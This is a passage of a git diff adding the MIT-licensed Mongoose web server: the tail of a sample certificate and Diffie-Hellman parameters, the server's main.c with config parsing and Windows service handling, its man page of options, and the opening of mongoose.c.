+A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
+IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
+AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
+akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
+kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
+kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
+N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
+uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
+oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
+plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
+P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
+W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
+5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
+SEGI4JSxV56lYg==
+-----END CERTIFICATE-----
+-----BEGIN DH PARAMETERS-----
+MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
+6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
+-----END DH PARAMETERS-----
diff --git a/mongoose/main.c b/mongoose/main.c
new file mode 100644
index 0000000..1b498b9
--- /dev/null
+++ b/mongoose/main.c
@@ -0,0 +1,492 @@
+// Copyright (c) 2004-2011 Sergey Lyubka
+//
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be included in
+// all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+// THE SOFTWARE.
+
+#if defined(_WIN32)
+#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
+#else
+#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
+#endif
+
+#include <sys/stat.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <string.h>
+#include <errno.h>
+#include <limits.h>
+#include <stddef.h>
+#include <stdarg.h>
+
+#include "mongoose.h"
+
+#ifdef _WIN32
+#include <windows.h>
+#include <winsvc.h>
+#define PATH_MAX MAX_PATH
+#define S_ISDIR(x) ((x) & _S_IFDIR)
+#define DIRSEP '\\'
+#define snprintf _snprintf
+#define vsnprintf _vsnprintf
+#define sleep(x) Sleep((x) * 1000)
+#define WINCDECL __cdecl
+#else
+#include <sys/wait.h>
+#include <unistd.h>
+#define DIRSEP '/'
+#define WINCDECL
+#endif // _WIN32
+
+#define MAX_OPTIONS 40
+#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
+
+static int exit_flag;
+static char server_name[40]; // Set by init_server_name()
+static char config_file[PATH_MAX]; // Set by process_command_line_arguments()
+static struct mg_context *ctx; // Set by start_mongoose()
+
+#if !defined(CONFIG_FILE)
+#define CONFIG_FILE "mongoose.conf"
+#endif /* !CONFIG_FILE */
+
+static void WINCDECL signal_handler(int sig_num) {
+ exit_flag = sig_num;
+}
+
+static void die(const char *fmt, ...) {
+ va_list ap;
+ char msg[200];
+
+ va_start(ap, fmt);
+ vsnprintf(msg, sizeof(msg), fmt, ap);
+ va_end(ap);
+
+#if defined(_WIN32)
+ MessageBox(NULL, msg, "Error", MB_OK);
+#else
+ fprintf(stderr, "%s\n", msg);
+#endif
+
+ exit(EXIT_FAILURE);
+}
+
+static void show_usage_and_exit(void) {
+ const char **names;
+ int i;
+
+ fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka\n", mg_version());
+ fprintf(stderr, "Usage:\n");
+ fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
+ fprintf(stderr, " mongoose <config_file>\n");
+ fprintf(stderr, " mongoose [-option value ...]\n");
+ fprintf(stderr, "OPTIONS:\n");
+
+ names = mg_get_valid_option_names();
+ for (i = 0; names[i] != NULL; i += 3) {
+ fprintf(stderr, " -%s %s (default: \"%s\")\n",
+ names[i], names[i + 1], names[i + 2] == NULL ? "" : names[i + 2]);
+ }
+ fprintf(stderr, "See http://code.google.com/p/mongoose/wiki/MongooseManual"
+ " for more details.\n");
+ fprintf(stderr, "Example:\n mongoose -s cert.pem -p 80,443s -d no\n");
+ exit(EXIT_FAILURE);
+}
+
+static void verify_document_root(const char *root) {
+ const char *p, *path;
+ char buf[PATH_MAX];
+ struct stat st;
+
+ path = root;
+ if ((p = strchr(root, ',')) != NULL && (size_t) (p - root) < sizeof(buf)) {
+ memcpy(buf, root, p - root);
+ buf[p - root] = '\0';
+ path = buf;
+ }
+
+ if (stat(path, &st) != 0 || !S_ISDIR(st.st_mode)) {
+ die("Invalid root directory: [%s]: %s", root, strerror(errno));
+ }
+}
+
+static char *sdup(const char *str) {
+ char *p;
+ if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
+ strcpy(p, str);
+ }
+ return p;
+}
+
+static void set_option(char **options, const char *name, const char *value) {
+ int i;
+
+ if (!strcmp(name, "document_root") || !(strcmp(name, "r"))) {
+ verify_document_root(value);
+ }
+
+ for (i = 0; i < MAX_OPTIONS - 3; i++) {
+ if (options[i] == NULL) {
+ options[i] = sdup(name);
+ options[i + 1] = sdup(value);
+ options[i + 2] = NULL;
+ break;
+ }
+ }
+
+ if (i == MAX_OPTIONS - 3) {
+ die("%s", "Too many options specified");
+ }
+}
+
+static void process_command_line_arguments(char *argv[], char **options) {
+ char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
+ FILE *fp = NULL;
+ size_t i, cmd_line_opts_start = 1, line_no = 0;
+
+ options[0] = NULL;
+
+ // Should we use a config file ?
+ if (argv[1] != NULL && argv[1][0] != '-') {
+ snprintf(config_file, sizeof(config_file), "%s", argv[1]);
+ cmd_line_opts_start = 2;
+ } else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
+ // No command line flags specified. Look where binary lives
+ snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
+ } else {
+ snprintf(config_file, sizeof(config_file), "%.*s%c%s",
+ (int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
+ }
+
+ fp = fopen(config_file, "r");
+
+ // If config file was set in command line and open failed, die
+ if (cmd_line_opts_start == 2 && fp == NULL) {
+ die("Cannot open config file %s: %s", config_file, strerror(errno));
+ }
+
+ // Load config file settings first
+ if (fp != NULL) {
+ fprintf(stderr, "Loading config file %s\n", config_file);
+
+ // Loop over the lines in config file
+ while (fgets(line, sizeof(line), fp) != NULL) {
+
+ line_no++;
+
+ // Ignore empty lines and comments
+ if (line[0] == '#' || line[0] == '\n')
+ continue;
+
+ if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
+ die("%s: line %d is invalid", config_file, (int) line_no);
+ }
+ set_option(options, opt, val);
+ }
+
+ (void) fclose(fp);
+ }
+
+ // Now handle command line flags. They override config file settings.
+ for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
+ if (argv[i][0] != '-' || argv[i + 1] == NULL) {
+ show_usage_and_exit();
+ }
+ set_option(options, &argv[i][1], argv[i + 1]);
+ }
+}
+
+static void init_server_name(void) {
+ snprintf(server_name, sizeof(server_name), "Mongoose web server v. %s",
+ mg_version());
+}
+
+static void start_mongoose(int argc, char *argv[]) {
+ char *options[MAX_OPTIONS];
+ int i;
+
+ // Edit passwords file if -A option is specified
+ if (argc > 1 && !strcmp(argv[1], "-A")) {
+ if (argc != 6) {
+ show_usage_and_exit();
+ }
+ exit(mg_modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
+ EXIT_SUCCESS : EXIT_FAILURE);
+ }
+
+ // Show usage if -h or --help options are specified
+ if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
+ show_usage_and_exit();
+ }
+
+ /* Update config based on command line arguments */
+ process_command_line_arguments(argv, options);
+
+ /* Setup signal handler: quit on Ctrl-C */
+ signal(SIGTERM, signal_handler);
+ signal(SIGINT, signal_handler);
+
+ /* Start Mongoose */
+ ctx = mg_start(NULL, NULL, (const char **) options);
+ for (i = 0; options[i] != NULL; i++) {
+ free(options[i]);
+ }
+
+ if (ctx == NULL) {
+ die("%s", "Failed to start Mongoose. Maybe some options are "
+ "assigned bad values?\nTry to run with '-e error_log.txt' "
+ "and check error_log.txt for more information.");
+ }
+}
+
+#ifdef _WIN32
+static SERVICE_STATUS ss;
+static SERVICE_STATUS_HANDLE hStatus;
+static const char *service_magic_argument = "--";
+
+static void WINAPI ControlHandler(DWORD code) {
+ if (code == SERVICE_CONTROL_STOP || code == SERVICE_CONTROL_SHUTDOWN) {
+ ss.dwWin32ExitCode = 0;
+ ss.dwCurrentState = SERVICE_STOPPED;
+ }
+ SetServiceStatus(hStatus, &ss);
+}
+
+static void WINAPI ServiceMain(void) {
+ ss.dwServiceType = SERVICE_WIN32;
+ ss.dwCurrentState = SERVICE_RUNNING;
+ ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
+
+ hStatus = RegisterServiceCtrlHandler(server_name, ControlHandler);
+ SetServiceStatus(hStatus, &ss);
+
+ while (ss.dwCurrentState == SERVICE_RUNNING) {
+ Sleep(1000);
+ }
+ mg_stop(ctx);
+
+ ss.dwCurrentState = SERVICE_STOPPED;
+ ss.dwWin32ExitCode = (DWORD) -1;
+ SetServiceStatus(hStatus, &ss);
+}
+
+#define ID_TRAYICON 100
+#define ID_QUIT 101
+#define ID_EDIT_CONFIG 102
+#define ID_SEPARATOR 103
+#define ID_INSTALL_SERVICE 104
+#define ID_REMOVE_SERVICE 105
+#define ID_ICON 200
+static NOTIFYICONDATA TrayIcon;
+
+static void edit_config_file(void) {
+ const char **names, *value;
+ FILE *fp;
+ int i;
+ char cmd[200];
+
+ // Create config file if it is not present yet
+ if ((fp = fopen(config_file, "r")) != NULL) {
+ fclose(fp);
+ } else if ((fp = fopen(config_file, "a+")) != NULL) {
+ fprintf(fp,
+ "# Mongoose web server configuration file.\n"
+ "# Lines starting with '#' and empty lines are ignored.\n"
+ "# For detailed description of every option, visit\n"
+ "# http://code.google.com/p/mongoose/wiki/MongooseManual\n\n");
+ names = mg_get_valid_option_names();
+ for (i = 0; names[i] != NULL; i += 3) {
+ value = mg_get_option(ctx, names[i]);
+ fprintf(fp, "# %s %s\n", names[i + 1], *value ? value : "<value>");
+ }
+ fclose(fp);
+ }
+
+ snprintf(cmd, sizeof(cmd), "notepad.exe %s", config_file);
+ WinExec(cmd, SW_SHOW);
+}
+
+static void show_error(void) {
+ char buf[256];
+ FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
+ NULL, GetLastError(),
+ MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
+ buf, sizeof(buf), NULL);
+ MessageBox(NULL, buf, "Error", MB_OK);
+}
+
+static int manage_service(int action) {
+ static const char *service_name = "Mongoose";
+ SC_HANDLE hSCM = NULL, hService = NULL;
+ SERVICE_DESCRIPTION descr = {server_name};
+ char path[PATH_MAX + 20]; // Path to executable plus magic argument
+ int success = 1;
+
+ if ((hSCM = OpenSCManager(NULL, NULL, action == ID_INSTALL_SERVICE ?
+ GENERIC_WRITE : GENERIC_READ)) == NULL) {
+ success = 0;
+ show_error();
+ } else if (action == ID_INSTALL_SERVICE) {
+ GetModuleFileName(NULL, path, sizeof(path));
+ strncat(path, " ", sizeof(path));
+ strncat(path, service_magic_argument, sizeof(path));
+ hService = CreateService(hSCM, service_name, service_name,
+ SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
+ SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
+ path, NULL, NULL, NULL, NULL, NULL);
+ if (hService) {
+ ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &descr);
+ } else {
+ show_error();
+ }
+ } else if (action == ID_REMOVE_SERVICE) {
+ if ((hService = OpenService(hSCM, service_name, DELETE)) == NULL ||
+ !DeleteService(hService)) {
+ show_error();
+ }
+ } else if ((hService = OpenService(hSCM, service_name,
+ SERVICE_QUERY_STATUS)) == NULL) {
+ success = 0;
+ }
+
+ CloseServiceHandle(hService);
+ CloseServiceHandle(hSCM);
+
+ return success;
+}
+
+static LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam,
+ LPARAM lParam) {
+ static SERVICE_TABLE_ENTRY service_table[] = {
+ {server_name, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
+ {NULL, NULL}
+ };
+ int service_installed;
+ char buf[200], *service_argv[] = {__argv[0], NULL};
+ POINT pt;
+ HMENU hMenu;
+
+ switch (msg) {
+ case WM_CREATE:
+ if (__argv[1] != NULL &&
+ !strcmp(__argv[1], service_magic_argument)) {
+ start_mongoose(1, service_argv);
+ StartServiceCtrlDispatcher(service_table);
+ exit(EXIT_SUCCESS);
+ } else {
+ start_mongoose(__argc, __argv);
+ }
+ break;
+ case WM_COMMAND:
+ switch (LOWORD(wParam)) {
+ case ID_QUIT:
+ mg_stop(ctx);
+ Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
+ PostQuitMessage(0);
+ break;
+ case ID_EDIT_CONFIG:
+ edit_config_file();
+ break;
+ case ID_INSTALL_SERVICE:
+ case ID_REMOVE_SERVICE:
+ manage_service(LOWORD(wParam));
+ break;
+ }
+ break;
+ case WM_USER:
+ switch (lParam) {
+ case WM_RBUTTONUP:
+ case WM_LBUTTONUP:
+ case WM_LBUTTONDBLCLK:
+ hMenu = CreatePopupMenu();
+ AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, server_name);
+ AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
+ service_installed = manage_service(0);
+ snprintf(buf, sizeof(buf), "NT service: %s installed",
+ service_installed ? "" : "not");
+ AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, buf);
+ AppendMenu(hMenu, MF_STRING | (service_installed ? MF_GRAYED : 0),
+ ID_INSTALL_SERVICE, "Install service");
+ AppendMenu(hMenu, MF_STRING | (!service_installed ? MF_GRAYED : 0),
+ ID_REMOVE_SERVICE, "Deinstall service");
+ AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
+ AppendMenu(hMenu, MF_STRING, ID_EDIT_CONFIG, "Edit config file");
+ AppendMenu(hMenu, MF_STRING, ID_QUIT, "Exit");
+ GetCursorPos(&pt);
+ SetForegroundWindow(hWnd);
+ TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL);
+ PostMessage(hWnd, WM_NULL, 0, 0);
+ DestroyMenu(hMenu);
+ break;
+ }
+ break;
+ }
+
+ return DefWindowProc(hWnd, msg, wParam, lParam);
+}
+
+int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR cmdline, int show) {
+ WNDCLASS cls;
+ HWND hWnd;
+ MSG msg;
+
+ init_server_name();
+ memset(&cls, 0, sizeof(cls));
+ cls.lpfnWndProc = (WNDPROC) WindowProc;
+ cls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
+ cls.lpszClassName = server_name;
+
+ RegisterClass(&cls);
+ hWnd = CreateWindow(cls.lpszClassName, server_name, WS_OVERLAPPEDWINDOW,
+ 0, 0, 0, 0, NULL, NULL, NULL, NULL);
+ ShowWindow(hWnd, SW_HIDE);
+
+ TrayIcon.cbSize = sizeof(TrayIcon);
+ TrayIcon.uID = ID_TRAYICON;
+ TrayIcon.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
+ TrayIcon.hIcon = LoadImage(GetModuleHandle(NULL), MAKEINTRESOURCE(ID_ICON),
+ IMAGE_ICON, 16, 16, 0);
+ TrayIcon.hWnd = hWnd;
+ snprintf(TrayIcon.szTip, sizeof(TrayIcon.szTip), "%s", server_name);
+ TrayIcon.uCallbackMessage = WM_USER;
+ Shell_NotifyIcon(NIM_ADD, &TrayIcon);
+
+ while (GetMessage(&msg, hWnd, 0, 0)) {
+ TranslateMessage(&msg);
+ DispatchMessage(&msg);
+ }
+}
+#else
+int main(int argc, char *argv[]) {
+ init_server_name();
+ start_mongoose(argc, argv);
+ printf("%s started on port(s) %s with web root [%s]\n",
+ server_name, mg_get_option(ctx, "listening_ports"),
+ mg_get_option(ctx, "document_root"));
+ while (exit_flag == 0) {
+ sleep(1);
+ }
+ printf("Exiting on signal %d, waiting for all threads to finish...",
+ exit_flag);
+ fflush(stdout);
+ mg_stop(ctx);
+ printf("%s", " done.\n");
+
+ return EXIT_SUCCESS;
+}
+#endif /* _WIN32 */
diff --git a/mongoose/mongoose.1 b/mongoose/mongoose.1
new file mode 100644
index 0000000..54d3488
--- /dev/null
+++ b/mongoose/mongoose.1
@@ -0,0 +1,171 @@
+.\" Process this file with
+.\" groff -man -Tascii mongoose.1
+.\" $Id: mongoose.1,v 1.12 2008/11/29 15:32:42 drozd Exp $
+.Dd Aug 31, 2010
+.Dt mongoose 1
+.Sh NAME
+.Nm mongoose
+.Nd lightweight web server
+.Sh SYNOPSIS
+.Nm
+.Op Ar config_file
+.Op Ar OPTIONS
+.Nm
+.Fl A Ar htpasswd_file domain_name user_name password
+.Sh DESCRIPTION
+.Nm
+is small, fast and easy to use web server with CGI, SSL, MD5 authorization,
+and basic SSI support.
+.Pp
+.Nm
+does not detach from terminal, and uses current working directory
+as the web root, unless
+.Fl r
+option is specified.
+It is possible to specify multiple ports to listen on. For example, to make
+mongoose listen on HTTP port 80 and HTTPS port 443, one should start it as:
+.Nm
+.Fl s Ar cert.pem Fl p Ar 80,443s
+.Pp
+Unlike other web servers,
+.Nm
+does not require CGI scripts be put in a special directory. CGI scripts can
+be anywhere. CGI (and SSI) files are recognized by the file name pattern.
+.Nm
+uses shell-like glob patterns with the following syntax:
+.Bl -tag -compact -width indent
+.It **
+Matches everything
+.It *
+Matches everything but slash character, '/'
+.It ?
+Matches any character
+.It $
+Matches the end of the string
+.It |
+Matches if pattern on the left side or the right side matches. Pattern on the
+left side is matched first
+.El
+All other characters in the pattern match themselves.
+.Pp
+If no arguments are given,
+.Nm
+searches for a configuration file called "mongoose.conf" in the same directory
+where mongoose binary is located. Alternatively, a file name could be
+specified in the command line. Format of the configuration file is the same
+as for the command line options except that each option must be specified
+on a separate line, leading dashes for option names must be omitted.
+Lines beginning with '#' and empty lines are ignored.
+.Pp
+.Sh OPTIONS
+.Bl -tag -width indent
+.It Fl A Ar htpasswd_file domain_name user_name password
+Add/edit user's password in the passwords file. Deleting users can be done
+with any text editor. Functionality is similar to Apache's
+.Ic htdigest
+utility.
+.It Fl C Ar cgi_pattern
+All files that fully match cgi_pattern are treated as CGI.
+Default pattern allows CGI files be
+anywhere. To restrict CGIs to certain directory, use e.g. "-C /cgi-bin/**.cgi".
+Default: "**.cgi$|**.pl$|**.php$"
+.It Fl E Ar cgi_environment
+Extra environment variables to be passed to the CGI script in addition to
+standard ones. The list must be comma-separated list of X=Y pairs, like this:
+"VARIABLE1=VALUE1,VARIABLE2=VALUE2". Default: ""
+.It Fl G Ar put_delete_passwords_file
+PUT and DELETE passwords file. This must be specified if PUT or
+DELETE methods are used. Default: ""
+.It Fl I Ar cgi_interpreter
+Use
+.Ar cgi_interpreter
+as a CGI interpreter for all CGI scripts regardless script extension.
+Mongoose decides which interpreter to use by looking at
+the first line of a CGI script. Default: "".
+.It Fl M Ar max_request_size
+Maximum HTTP request size in bytes. Default: "16384"
+.It Fl P Ar protect_uri
+Comma separated list of URI=PATH pairs, specifying that given URIs
+must be protected with respected password files. Default: ""
+.It Fl R Ar authentication_domain
+Authorization realm. Default: "mydomain.com"
+.It Fl S Ar ssi_pattern
+All files that fully match ssi_pattern are treated as SSI.
+Unknown SSI directives are silently ignored. Currently, two SSI directives
+are supported, "include" and "exec". Default: "**.shtml$|**.shtm$"
+.It Fl a Ar access_log_file
+Access log file. Default: "", no logging is done.
+.It Fl d Ar enable_directory_listing
+Enable/disable directory listing. Default: "yes"
+.It Fl e Ar error_log_file
+Error log file. Default: "", no errors are logged.
+.It Fl g Ar global_passwords_file
+Location of a global passwords file. If set, per-directory .htpasswd files are
+ignored, and all requests must be authorised against that file. Default: ""
+.It Fl i Ar index_files
+Comma-separated list of files to be treated as directory index files.
+Default: "index.html,index.htm,index.cgi"
+.It Fl l Ar access_control_list
+Specify access control list (ACL). ACL is a comma separated list
+of IP subnets, each subnet is prepended by '-' or '+' sign. Plus means allow,
+minus means deny. If subnet mask is
+omitted, like "-1.2.3.4", then it means single IP address. Mask may vary
+from 0 to 32 inclusive. On each request, full list is traversed, and
+last match wins. Default setting is to allow all. For example, to allow only
+192.168/16 subnet to connect, run "mongoose -0.0.0.0/0,+192.168/16".
+Default: ""
+.It Fl m Ar extra_mime_types
+Extra mime types to recognize, in form
+"extension1=type1,extension2=type2,...". Extension must include dot.
+Example: "mongoose -m .cpp=plain/text,.java=plain/text". Default: ""
+.It Fl p Ar listening_ports
+Comma-separated list of ports to listen on. If the port is SSL, a letter 's'
+must be appeneded, for example, "-p 80,443s" will open port 80 and port 443,
+and connections on port 443 will be SSL-ed. It is possible to specify an
+IP address to bind to. In this case, an IP address and a colon must be
+prepended to the port number. For example, to bind to a loopback interface
+on port 80 and to all interfaces on HTTPS port 443, use
+"mongoose -p 127.0.0.1:80,443s". Default: "8080"
+.It Fl r Ar document_root
+Location of the WWW root directory. Default: "."
+.It Fl s Ar ssl_certificate
+Location of SSL certificate file. Default: ""
+.It Fl t Ar num_threads
+Number of worker threads to start. Default: "10"
+.It Fl u Ar run_as_user
+Switch to given user's credentials after startup. Default: ""
+.It Fl w Ar url_rewrite_patterns
+Comma-separated list of URL rewrites in the form of
+"pattern=substitution,..." If the "pattern" matches some prefix
+of the requested URL, then matched prefix gets substituted with "substitution".
+For example, "-w /config=/etc,**.doc|**.rtf=/cgi-bin/handle_doc.cgi"
+will serve all URLs that start with "/config" from the "/etc" directory, and
+call handle_doc.cgi script for .doc and .rtf file requests. If some pattern
+matches, no further matching/substitution is performed
+(first matching pattern wins). Default: ""
+.El
+.Pp
+.Sh EMBEDDING
+.Nm
+was designed to be embeddable into C/C++ applications. Since the
+source code is contained in single C file, it is fairly easy to embed it
+and follow the updates. Please refer to http://code.google.com/p/mongoose
+for details.
+.Pp
+.Sh EXAMPLES
+.Bl -tag -width indent
+.It Nm Fl r Ar /var/www Fl s Ar /etc/cert.pem Fl p Ar 8080,8043s
+Start serving files from /var/www. Listen on port 8080 for HTTP, and 8043
+for HTTPS connections. Use /etc/cert.pem as SSL certificate file.
+.It Nm Fl l Ar -0.0.0.0/0,+10.0.0.0/8,+1.2.3.4
+Deny connections from everywhere, allow only IP address 1.2.3.4 and
+all IP addresses from 10.0.0.0/8 subnet to connect.
+.It Nm Fl w Ar **=/my/script.cgi
+Invoke /my/script.cgi for every incoming request, regardless of the URL.
+.El
+.Pp
+.Sh COPYRIGHT
+.Nm
+is licensed under the terms of the MIT license.
+.Sh AUTHOR
+.An Sergey Lyubka Aq valenok@gmail.com .
diff --git a/mongoose/mongoose.c b/mongoose/mongoose.c
new file mode 100644
index 0000000..689551f
--- /dev/null
+++ b/mongoose/mongoose.c
@@ -0,0 +1,4247 @@
+// Copyright (c) 2004-2011 Sergey Lyubka
+//
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be included in
+// all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+// THE SOFTWARE.
+
+#if defined(_WIN32)
+#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
+#else
+#define _XOPEN_SOURCE 600 // For flockfile() on Linux
+#define _LARGEFILE_SOURCE // Enable 64-bit file offsets
+#define __STDC_FORMAT_MACROS // <inttypes.h> wants this for C++
+#define __STDC_LIMIT_MACROS // C++ wants that for INT64_MAX
+#endif
+
+#if defined(__SYMBIAN32__)
+#define NO_SSL // SSL is not supported
+#define NO_CGI // CGI is not supported
+#define PATH_MAX FILENAME_MAX
+#endif // __SYMBIAN32__
+
+#ifndef _WIN32_WCE // Some ANSI #includes are not available on Windows CE
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <errno.h>
+#include <signal.h>
+#include <fcntl.h>
+#endif // !_WIN32_WCE
+
+#include <time.h>
+#include <stdlib.h>
+#include <stdarg.h>
+#include <assert.h>
+#include <string.h>
+#include <ctype.h>
+#include <limits.h>
+#include <stddef.h>
+#include <stdio.h>
+
+#if defined(_WIN32) && !defined(__SYMBIAN32__) // Windows specific
+#define _WIN32_WINNT 0x0400 // To make it link in VS2005
+#include <windows.h>
+
+#ifndef PATH_MAX
+#define PATH_MAX MAX_PATH
+#endif
+
+#ifndef _WIN32_WCE
+#include <process.h>
+#include <direct.h>
+#include <io.h>
+#else // _WIN32_WCE
+#include <winsock2.h>
+#define NO_CGI // WinCE has no pipes
+
+typedef long off_t;
+#define BUFSIZ 4096
+
+#define errno GetLastError()
+#define strerror(x) _ultoa(x, (char *) _alloca(sizeof(x) *3 ), 10)
+#endif // _WIN32_WCE
+
+#define MAKEUQUAD(lo, hi) ((uint64_t)(((uint32_t)(lo)) | \
+ ((uint64_t)((uint32_t)(hi))) << 32))
+#define RATE_DIFF 10000000 // 100 nsecs
+#define EPOCH_DIFF MAKEUQUAD(0xd53e8000, 0x019db1de)
+#define SYS2UNIX_TIME(lo, hi) \
+ (time_t) ((MAKEUQUAD((lo), (hi)) - EPOCH_DIFF) / RATE_DIFF)
+
+// Visual Studio 6 does not know __func__ or __FUNCTION__
+// The rest of MS compilers use __FUNCTION__, not C99 __func__
+// Also use _strtoui64 on modern M$ compilers
+#if defined(_MSC_VER) && _MSC_VER < 1300
+#define STRX(x) #x
+#define STR(x) STRX(x)
+#define __func__ "line " STR(__LINE__)
+#define strtoull(x, y, z) strtoul(x, y, z)
+#define strtoll(x, y, z) strtol(x, y, z)
+#else
+#define __func__ __FUNCTION__
+#define strtoull(x, y, z) _strtoui64(x, y, z)
+#define strtoll(x, y, z) _strtoi64(x, y, z)
+#endif // _MSC_VER
+
+#define ERRNO GetLastError()
+#define NO_SOCKLEN_T
+#define SSL_LIB "ssleay32.dll"
+#define CRYPTO_LIB "libeay32.dll"
+#define DIRSEP '\\'
+#define IS_DIRSEP_CHAR(c) ((c) == '/' || (c) == '\\')
+#define O_NONBLOCK 0
+#if !defined(EWOULDBLOCK)
+#define EWOULDBLOCK WSAEWOULDBLOCK
+#endif // !EWOULDBLOCK
+#define _POSIX_
+#define INT64_FMT "I64d"
+
+#define WINCDECL __cdecl
+#define SHUT_WR 1
+#define snprintf _snprintf
+#define vsnprintf _vsnprintf
+#define sleep(x) Sleep((x) * 1000)
+
+#define pipe(x) _pipe(x, BUFSIZ, _O_BINARY)
+#define popen(x, y) _popen(x, y)
+#define pclose(x) _pclose(x)
+#define close(x) _close(x)
+#define dlsym(x,y) GetProcAddress((HINSTANCE) (x), (y))
+#define RTLD_LAZY 0
+#define fseeko(x, y, z) fseek((x), (y), (z))
+#define fdopen(x, y) _fdopen((x), (y))
+#define write(x, y, z) _write((x), (y), (unsigned) z)
+#define read(x, y, z) _read((x), (y), (unsigned) z)
+#define flockfile(x) EnterCriticalSection(&global_log_file_lock)
+#define funlockfile(x) LeaveCriticalSection(&global_log_file_lock)
+
+#if !defined(fileno)
+#define fileno(x) _fileno(x)
+#endif // !fileno MINGW #defines fileno
+
+typedef HANDLE pthread_mutex_t;
